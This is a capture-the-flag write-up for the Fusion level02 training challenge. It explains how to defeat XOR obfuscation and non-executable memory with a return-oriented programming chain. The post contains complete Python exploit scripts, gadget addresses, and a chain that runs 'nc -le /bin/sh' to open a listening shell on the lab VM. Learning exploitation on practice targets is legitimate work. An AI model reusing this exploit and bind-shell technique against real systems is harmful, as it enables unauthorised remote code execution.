Fusion Challenges - level02 Write-up

labsdetectify

TL;DR: Exploit-mitigation techniques such as Address Space Layout Randomization, in conjunction with Data Execution Prevention, make executing traditional shellcode a non-trivial challenge. A common way to bypass aforementioned protections is to use Return-Oriented Programming, which reuses small pieces of code that end in a return instruction commonly referred to as a gadget. This article covers the thoughts and concepts in regards to solving this challenge.

 

The Fusion challenges provided by Exploit-Exercises.com is a series of 15 exploitation-challenges that attempts to teach the student about common exploit-mitigation techniques and how to get around them. Some of these include Address-space Layout Randomization (ASLR), Position-Independent Code/Executables (PIC/PIE), Data Execution Prevention (DEP, also known as NX).The challenges are a natural progression from the previous series, protostar, which taught the student about exploitation without aforementioned protections.
 
If you’re interested in learning more about binary exploitation, I would suggest you roll up your sleeves and dig into protostar, and then fusion – they’re a lot of fun! The format of these challenges is very simple, you download a LiveCD, which you start up using any Virtual Machine software. Upon logging into the Virtual machine (username fusion, password godmode), your mission is to exploit the corresponding level’s executable (which is located in /opt/fusion/bin). Most of the challenges involve connecting to the level’s vulnerable application, sending it some data and if everything went OK, you should’ve pwned it. In the solution below, I chose to simply spawn a listening shell which allowed me to connect to it and issue commands as if I were the user running the application.

 

Provided Source-code

There are only a few reverse engineering challenges in the fusion set and the source-code for this particular level can be viewed in full over at exploit-exercises.
 
Since the body of this post describes the actual steps taken towards exploitation, I’ll briefly cover what’s happening in the source-code.

 

main

The main function calls a couple of functions that mostly remain the same throughout the challenges. These functions do some behind the scenes stuff we don’t really need to think about when exploiting the binary.

 

int main(int argc, char **argv, char **envp)
{
  int fd;
  char *p;

  background_process(NAME, UID, GID); 
  fd = serve_forever(PORT);
  set_io(fd);

  encrypt_file();
}

 

encrypt_file

The vulnerable function is actually encrypt_file, which starts out by receiving a single byte from the connection into the opvariable. If the byte received is Q, the function returns. However, if the byte received is E (hex 45), the function continues to read 4 bytes from the connection, into the sz variable. This variable is then used to determine how many bytes to read from the connection into the buffer variable. So if we send the application 45 05 00 00 00 68 65 6c 6c 6f, buffer will contain hello until the contents are encrypted via the cipher function.

 

cipher

The cipher function iterates over the bytes in buffer, and encrypts the contents with a randomly generated key. The encryption consists of a single xor operation, which, in this case is trivial to break.

 

Tips:

  • SSH is enabled by default on the virtual machine, and I would recommend using something like putty when solving these challenges, as it can sometimes be quite tedious switching input between the guest and host operating system.

 

level02

This level deals with some basic obfuscation / math stuff. The level introduces non-executable memory and return into libc / .text / return oriented programming (ROP). The buffer we send will be encrypted, and this will be done via a single xor operation, with a key that’s generated when connecting to the serving application. We can abuse the fact that the encryption is a single xor, if we send a already encrypted buffer back to the application; the buffer will be decrypted (since message xor key = cipher, and cipher xor key = message.) The keybuf and keyed variables are declared as static, meaning that they are initialized once and won’t change in the middle of our connection.
 
First things first, let’s break some stuff.
 
 

Crashing the application

 

from struct import pack

overflowedSize=0x20000+0xf

PAYLOAD='E'+pack('I', overflowedSize)+'\xcc'*overflowedSize+'Q'

print PAYLOAD

 
 
Note: We have to send ‘Q’ to the application, or else it will exit without returning using the saved return-address. We can get the key the program uses by sending 128 nullbytes and saving the returned key, (key xor 0 = key). If we have an equivalent encryption algorithm on our side, we can produce and send data that will be decrpyted as a payload once we have the key.

 

Control over EIP!

 

# -*- coding: utf-8 -*-
import socket, time
from struct import pack, unpack

OVERFLOW=0x14
overflowedSize=0x20000+OVERFLOW
blocksize=128
ADDR=pack('I',0xdeadbeef)
PAYLOAD='E'+pack('I', blocksize)+"\x00"*blocksize
KEYBUF=[]

def cipher(message, length):
global KEYBUF
cipherd = []
for i in xrange(0, length, 4):
cipherd.append(unpack('I', message[i:i+4])[0]^KEYBUF[(i/4)%32])
return cipherd

def main():
    global overflowedSize, blocksize, PAYLOAD, ADDR, KEYBUF
    s = socket.create_connection(("127.0.0.1", 20002))
    s.sendall(PAYLOAD)

    # flush some garbage down the toilet (177 ascii + 4 size)
    s.recv(181, socket.MSG_WAITALL)

    key=s.recv(128, socket.MSG_WAITALL)
    KEYBUF=[unpack('I',key[i:i+4])[0] for i in range(0, 128, 4)]

    # Create a ciphered block of payload
    ENCRYPTED_PAYLOAD='E'+pack('I', overflowedSize)
    part=''.join(pack('I', x) for x in cipher(ADDR*32, len(ADDR*32)))
    ENCRYPTED_PAYLOAD+=part*1024+part[:OVERFLOW]

    s.sendall(ENCRYPTED_PAYLOAD+"Q")
    s.close()

if __name__ == "__main__":
main()



 
 
$ dmesg | tail -n 1 ... level02[23974]: segfault at deadbeef ip deadbeef sp bfc5fde0 error 15
 
That was reasonable enough, but I’m now rapidly approaching unknown territory (return oriented programming). Well, thankfully the fusion-VM comes preinstalled with ROPgadget, which will undoubtedly help me find the rop-gadgets I’m looking for.
 
 
But what am I looking for exactly? Word on the street is that one way to achieve code-execution is to create a fake stack-frame, which can be used when calling a function. I used ropper to find the gadgets I used below. I found the different functions’ (nread and execve) addresses using a combination of nm and radare2.

 

# finding a function using nm
$ nm ./level02 | grep nread
0804952d t nread

# finding a imported functions location in the portable linking table using radare2
[0x08048a90]> ii | grep execve
ordinal=025 plt=0x080489b0 bind=GLOBAL type=FUNC name=execve


 

Time travel into execve

After experimenting with some ways of writing into memory and experimenting with different chains, I was able to execute netcat. I started out by returning into nread, which reads from my connection and stores n-amount of received bytes in a section of writable memory.
 
 

chain=[
0x804952d, # &nread
0x8048815, # add esp, 8; pop ebx; ret
1,         # nread(1,
0x804b464, #       &buffer,
20,        #       size)

 
 
I added the 0x8048815-gadget to advance the stack-pointer past the arguments provided to nread. Upon returning from the gadget, I (again) returned into nread to store some addresses at 0x804b42c, I will use this as argvparameter when calling execve. And again, I added the 0x8048815-gadget to advance the stack-pointer 🙂

 

# continuing the chain
0x804952d, # &nread
0x8048815, # add esp, 8; pop ebx; ret
1,         # nread(1,
0x804b42c, #       &buffer,
8,         #       size)
0x80489b0, # &(execve@plt)
JUNK,
0x804b470, # &"/bin/nc"
0x804b42c, # &argv
0
]


 
nread will read from the connection and shove any byte I send it into the locations specified. Even though the executable has ASLR enabled, the actual addresses that are randomized are dynamic sections, for instance the heap and the stack.These locations do not change when restarting the program, which comes in handy.

 

time.sleep(0.5)
s.sendall('/bin/sh\x00-le\x00/bin/nc\x00')
time.sleep(0.5)
s.sendall(pack('I', 0x804b46c)+pack('I',0x804b464))

 

 

At this point, we are able to execute nc -le /bin/sh, buuuut… there’s something not quite right.

We can see what’s going wrong if we attach to the process with strace and run our exploit (specifying -f to follow forking, telling strace what pid to attach to via -p & -s to let strace know that it should print strings up to a length of 64.)

 

root@fusion:~# strace -p 1492 -f -s 64
...
[pid  6692] write(2, "/bin/sh: forward host lookup failed: ", 37) = 37
[pid  6692] write(2, "Unknown host", 12) = 12
[pid  6692] write(2, "\n", 1)           = 1
[pid  6692] close(-1)                   = -1 EBADF (Bad file descriptor)
[pid  6692] exit_group(1)               = ?

 

🙁

 

Why is this happening? We can reproduce the error message if we run nc /bin/sh
 
Seems like the -le parameter is getting lost somewhere 🙂 This is probably because normally, a program would be given argv with /path/to/program as argv[0], in our case argv[0] is -le, which might screw things up. I’m not sure though. We correct our simple error by prepending the address of the string /bin/nc in our own argv and just like that, we’re in.

 

$ python level02_solution.py
$ netstat -l
...
tcp     0       0 *:34551       *:*         LISTEN
...
$ nc 127.0.0.1 34551
id
uid=20002 gid=20002 groups=2000

raw

Listed below is the exploit I wrote in python. It’s not very neat and organized, but it works.

 

 

# -*- coding: utf-8 -*-
import socket, time
from struct import pack, unpack

JUNK=0xdeadbabe
OVERFLOW=0x10
overflowedSize=0x20000+OVERFLOW
blocksize=128
links=[
0x804952d, # &nread
0x8048815, # add esp, 8; pop ebx; ret
1,         # nread(1,
0x804b464, #       &buffer,
20,        #       size)
0x804952d, # &nread
0x8048815, # add esp, 8; pop ebx; ret
1,         # nread(1,
0x804b42c, #       &buffer,
13,        #       size)
0x80489b0, # &(execve@plt)
JUNK,
0x804b471, # &"/bin/nc"
0x804b42d, # &argv
0          # no envp
]
chain=''.join(pack('I', link) for link in links)
PAYLOAD='E'+pack('I', blocksize)+"\x00"*blocksize
KEYBUF=[]

def cipher(message, length):
global KEYBUF
cipherd = []
for i in xrange(0, length, 4):
cipherd.append(unpack('I', message[i:i+4])[0]^KEYBUF[(i/4)%32])
return cipherd

def main():
global overflowedSize, blocksize, PAYLOAD, KEYBUF, chain

# Create connection & Send initial payload 😉
s = socket.create_connection(("127.0.0.1", 20002))
s.sendall(PAYLOAD)

# Flush some garbage down the toilet (177 ascii + 4 size)
s.recv(181, socket.MSG_WAITALL)

# retrieve the key, hashtag 1337cr4ck3r
key=s.recv(128, socket.MSG_WAITALL)
KEYBUF=[unpack('I',key[i:i+4])[0] for i in xrange(0, 128, 4)]

# Create a ciphered block of payload
payload='A'*(overflowedSize)+chain
ENCRYPTED_PAYLOAD='E'+pack('I', overflowedSize+len(chain))
ENCRYPTED_PAYLOAD+=''.join(pack('I', x) for x in cipher(payload, len(payload))) # <- EZ

# Vamos ala explotar!
s.sendall(ENCRYPTED_PAYLOAD+"Q")
# Wait for our payload to process
time.sleep(0.5)
# send some strings with relevant binaries and arguments
s.sendall('/bin/sh\x00-lne\x00/bin/nc\x00')
# Cool people are late to the party
time.sleep(0.5)
# send argv pointers
s.sendall(pack('I', 0x804b471)+pack('I', 0x804b46c)+pack('I',0x804b464))
# All is well, Sayonara.
s.close()
return 0

exit(main())

 

Phew!

Solving this level was a lot of fun; frustrating at times (when arriving at a dead end.) If I had a femtiolapp for every failure or bad idea – ooh boy.
 
Let’s continue to hone our binary prowess, the next level coming up is level03, which features more stack corruption and partial hash-collisions. Can you solve it? : D

 

 


Author: Jonatan Haltorp

Twitter: @jonatanhal

Website:  jonatanh.al